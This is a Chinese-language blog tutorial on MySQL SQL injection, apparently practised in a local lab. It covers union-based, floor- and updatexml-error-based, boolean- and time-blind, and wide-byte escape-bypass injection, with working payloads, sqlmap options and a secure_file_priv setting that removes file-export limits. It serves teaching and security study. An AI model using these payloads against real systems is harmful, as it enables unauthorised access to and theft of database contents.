SQL注入方法

环境准备

  • 打开MySQL命令行,执行下面命令开启日志
set global general_log = "ON";
  • 执行下面命令,查看日志文件配置
mysql> SHOW VARIABLES LIKE 'general%';
+------------------+--------------------------------------------------------------+
| Variable_name    | Value                                                        |
+------------------+--------------------------------------------------------------+
| general_log      | ON                                                           |
| general_log_file | D:\phpstudy_pro\Extensions\MySQL5.7.26\data\MissPower007.log |
+------------------+--------------------------------------------------------------+
  • 开启日志后,我们就可以看到我们所执行过的sql语句了,方便学习

常见函数

  • group_concat()
  • concat()
//二者作用以及区别
mysql> select id,username from users;
+----+----------+
| id | username |
+----+----------+
|  1 | Dumb     |
|  2 | Angelina |
|  3 | Dummy    |
+----+----------+

mysql> select concat(id,username) from users;
+---------------------+
| concat(id,username) |
+---------------------+
| 1Dumb               |
| 2Angelina           |
| 3Dummy              |
+---------------------+

mysql> select group_concat(id,username) from users;
+---------------------------+
| group_concat(id,username) |
+---------------------------+
| 1Dumb,2Angelina,3Dummy    |
+---------------------------+

手工注入

联合查询注入

  • 最基础的
//注意要先判断列数
?id=-1' union select group_concat(schema_name) from information_schema.schemata--+

报错注入

floor报错

  • floor(rand()\*2)的值是0或1,是完全随机的
  • floor(rand(0)\*2)的值是0或1,但是是有规律的
mysql> select floor(rand()*2),floor(rand()*2) from users;
+-----------------+-----------------+
| floor(rand()*2) | floor(rand()*2) |
+-----------------+-----------------+
|               0 |               1 |
|               0 |               1 |
|               1 |               0 |
|               1 |               1 |
|               0 |               1 |
|               0 |               0 |
|               1 |               1 |
|               1 |               0 |
|               1 |               1 |
|               1 |               1 |
|               1 |               0 |
|               1 |               0 |
|               1 |               0 |
+-----------------+-----------------+

mysql> select floor(rand(0)*2),floor(rand(0)*2) from users;
+------------------+------------------+
| floor(rand(0)*2) | floor(rand(0)*2) |
+------------------+------------------+
|                0 |                0 |
|                1 |                1 |
|                1 |                1 |
|                0 |                0 |
|                1 |                1 |
|                1 |                1 |
|                0 |                0 |
|                0 |                0 |
|                1 |                1 |
|                1 |                1 |
|                1 |                1 |
|                0 |                0 |
|                1 |                1 |
+------------------+------------------+
  • group by的作用是合并相同的数据,效果如下。(a是floor(rand()\*2)的别名)
mysql> select floor(rand()*2)a from users;
+---+
| a |
+---+
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 0 |
| 1 |
| 1 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
+---+

mysql> select floor(rand()*2)a from users group by a;
+---+
| a |
+---+
| 0 |
| 1 |
+---+
  • count(\*)的作用是统计个数,一般搭配gruop by使用,就可以统计出对应数据的个数
//第一种情况,查询成功
mysql> select count(*),floor(rand()*2)a from users group by a;
+----------+---+
| count(*) | a |
+----------+---+
|        5 | 0 |
|        8 | 1 |
+----------+---+

//也有可能出现第二种情况,查询失败,出现哪种情况是随机的,Duplicate entry翻译后就是重复条目,后面的'0'是floor(rand()*2)的结果,我们将floor(rand()*2)替换为其他的查询语句,结果也会显示在报错信息中,这就是报错注入的关键
mysql> select count(*),floor(rand()*2)a from users group by a;
ERROR 1062 (23000): Duplicate entry '0' for key '<group_key>'
  • 为什么会报错呢?我是这样理解的,一起使用count(\*)group by的时候,会先返回原始的查询结果(如下,记为表A),然后再根据这个结果进行合并
  • 合并的过程是先建立一个虚表,逐行的检索A,如果虚表中不存在该行的记录,则要将它插入虚表,然后count(\*)加一,如果虚表中存在该行的记录,则只需要count(\*)加一
  • 查询的时候会执行floor(rand()\*2),这是毫无疑问的,但是往虚表中插入记录的时候会再执行一次floor(rand()\*2),假如第一次floor(rand()\*2)的结果是1,虚表中只有0的记录,这时候就要进行插入,如果第二次floor(rand()\*2)的值为0,插入的时候就会发现虚表中已经有了相同的条目,就会报错Duplicate entry '0'(重复条目0)
mysql> select floor(rand()*2)a from users;
+---+
| a |
+---+
| 0 |
| 0 |
| 0 |
| 0 |
| 1 |
| 0 |
| 1 |
| 0 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
+---+
  • exp
?id=1' and (select 1 from (select count(*),concat((select concat(schema_name,';') from information_schema.schemata limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)%23

updatexml报错

  • MySQL 5.1.5版本中添加了对XML文档进行查询和修改的函数,分别是extractvalue()和updatexml()

  • updatexml的爆错原因很简单,updatexml第二个参数需要的是Xpath格式的字符串。如果输入的不符合,就会报错。所以我们用concat(0x7e,database(),0x7e),这肯定不是Xpath格式的字符串(0x7e是‘~’)

mysql> select updatexml(1,concat(0x7e,database(),0x7e),3);
ERROR 1105 (HY000): XPATH syntax error: '~security~'
  • 参考文章:

https://blog.51cto.com/wt7315/1891458

https://www.cnblogs.com/sallyzhang/p/12054596.html

布尔盲注

  • 盲注就是没有数据回显的注入,我们只能知道sql语句的对错
  • 我直接举例子,很容易懂
mysql> select database();
+------------+
| database() |
+------------+
| security   |
+------------+

mysql> select substr(database(),1,1);
+------------------------+
| substr(database(),1,1) |
+------------------------+
| s                      |
+------------------------+

mysql> select 1 and substr(database(),1,1)='s';
+----------------------------------+
| 1 and substr(database(),1,1)='s' |
+----------------------------------+
|                                1 |
+----------------------------------+
  • 布尔盲注要去猜每一个字符,我们猜对和猜错页面的反应是不同的,所以就能确定我们猜的对不对

  • 建议搭配python脚本使用,效率高

延时盲注

  • 延时盲注用到sleep()函数,如果数据库执行了sleep(5),那么数据库就会‘睡’5秒,也就是5秒之后才会有反应
  • 主要用到了if()函数,if(条件,真,假)
?id=1' and if(ascii(substr(database(),1,1))='s',sleep(3),1)--+

宽字节注入

  • 宽字节注入作用是可以绕过转义,完成闭合
  • MySQL 在使用 GBK 编码的时候,会认为两个字符为一个汉字,例如 %aa%5c 就是一个 汉字。因为常见的过滤方法主要就是在敏感字符前面添加 反斜杠 \,宽字节注入就是想办法干掉反斜杠。

  • PHP中编码为GBK,函数执行添加的是ASCII编码(添加的符号为“\”),MYSQL默认字符集是GBK等宽字节字符集。

下面指令可以查看MySQL的编码格式

show variables like 'character%';
  1. %df 吃掉 \' 中的 \,(不一定是%df,其他的也可以,比如%bb,只要能组成汉字即可)

具体的原因是 urlencode(\') = %5c%27,我们在%5c%27 前面添加%df,形 成%df%5c%27,MySQL 在 GBK 编码方式的时候会将两个字节当做一个汉字,这个时候就把%df%5c 当做是一个汉字,原本用来转义%27%5c被当成汉字的一部分,%27 则作为一个单独的符号在外面,没有被转义。 当'被转义为\'时,我们就可以构造%df'来绕过转义。原因:%df'被转义后变成%df\',也就是%df%5c%27%5c就被%df吃掉而失去了作用

  1. 转义 \' 中的 \

例如可以构造 %5c%5c%27 的情况,后面的%5c会被前面的%5c 给转义掉。 有的MySQL使用set names UTF-8指定了UTF-8字符集,而不是gbk字符集,并且也使用转义函数进行转义。有时候,为了避免乱码,会将一些用户提交的GBK字符使用iconv函数(或者mb_convert_encoding)先转为UTF-8,然后再拼接入SQL语句。

GBK转为UTF-8

mysql_query(“set names UTF-8”) ;
$query =iconv(“GBK”,”UTF-8”, addslashes($_GET["id"])) ;
$sql = "select password from user where bar="$query" ;
$result = mysql_query($sql) ;

我们可以看到,为了使得SQL语句中的字符集保持一致,一般都会使用iconv等字符集转换函数进行字符集转换,问题就是出在了GBK向UTF-8转换的过程中。 传入参数?id=%e5%5c%27 变换过程:(錦这个字:它的utf-8编码是%e9%8c%a6,它的gbk编码是%e5%5c,所以%e5%5c转为UTF-8就是%e9%8c%a6%e5%5c%27(GBK)====(addslashes)====>%e5%5c%5c%5c%27(GBK)====(iconv)====>%e9%8c%a6%5c%5c%27(UTF-8)(即錦\\',两个反斜杠使得单引号没有被转义)

UTF-8转为GBK

使用iconv进行字符集转换,将UTF-8转为GBK,同时,set names字符集为GBK。这种情况下提交%e9%8c%a6即可。因为漏洞条件比较苛刻,所以简单分析一下 变换过程: %e9%8c%a6(UTF-8)====(iconv)=====>%e5%5c(GBK)=====(addslashes)====>%e5%5c%5c(GBK)(即錦\,多出来一个反斜杠就可以利用了)

  • 参考文章:

https://blog.csdn.net/qq_29419013/article/details/81205291

sqlmap

常见参数介绍

  1. -u:后面跟一个URL,URL中必须有?id=1。例如-u http://www.baidu.com?id=1
  2. -r:后面跟一个txt文件,将post请求方式的数据包保存在该txt中,sqlmap会通过post方式检测目标。例如-r post.txt
  3. -v:显示信息的级别,一共有六级:0:只显示python 错误和一些严重信息;1:显示基本信息(默认);2:显示debug信息;3:显示注入过程的payload;4:显示http请求包;5:显示http响应头;7:显示http相应页面。一般使用-v 3
  4. --dbms=xxx:指定目标数据库类型。例如--dbms=MySQL
  5. --random-agent:使用随机user-agent进行测试。sqlmap有一个文件中储存了各种各样的user-agent,文件在/usr/share/sqlmap/data/txt/user-agent.txt
  6. --flush-session:sqlmap扫描的时候会将缓存的数据记录到output文件下,下次扫描时会直接调用本地缓存的扫描结果。如果我们想删除缓存结果,重新对某网站进行扫描就需要添加--flush-session选项
  7. --technique=X:指定所使用的技术(B:布尔盲注;E:报错注入;U:联合查询注入;S:文件系统,操作系统,注册表相关注入;T:时间盲注; 默认全部使用)

MySQL重要参数

secure-file-priv

secure-file-priv参数是用来限制LOAD DATA, SELECT ... OUTFILE, and LOAD_FILE()传到哪个指定目录的。

secure-file-priv值 代表含义
NULL 不允许导入/导出
/tmp/ 导入/导出只能发生在/tmp/目录下
不对mysqld 的导入/导出做限制

查询secure-file-priv

mysql> show global variables like '%secure%';
+--------------------------+-------+
| Variable_name            | Value |
+--------------------------+-------+
| require_secure_transport | OFF   |
| secure_auth              | ON    |
| secure_file_priv         |       |
+--------------------------+-------+

修改方式

操作系统 方法
Windows 修改my.ini 在[mysqld]内加入secure_file_priv =
Linux 修改my.cnf 在[mysqld]内加入secure_file_priv =
  • 重启MySQL后生效

文章作者: MissPower007
文章链接: http://time.pings.fun
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 MissPower007 !
评论
  目录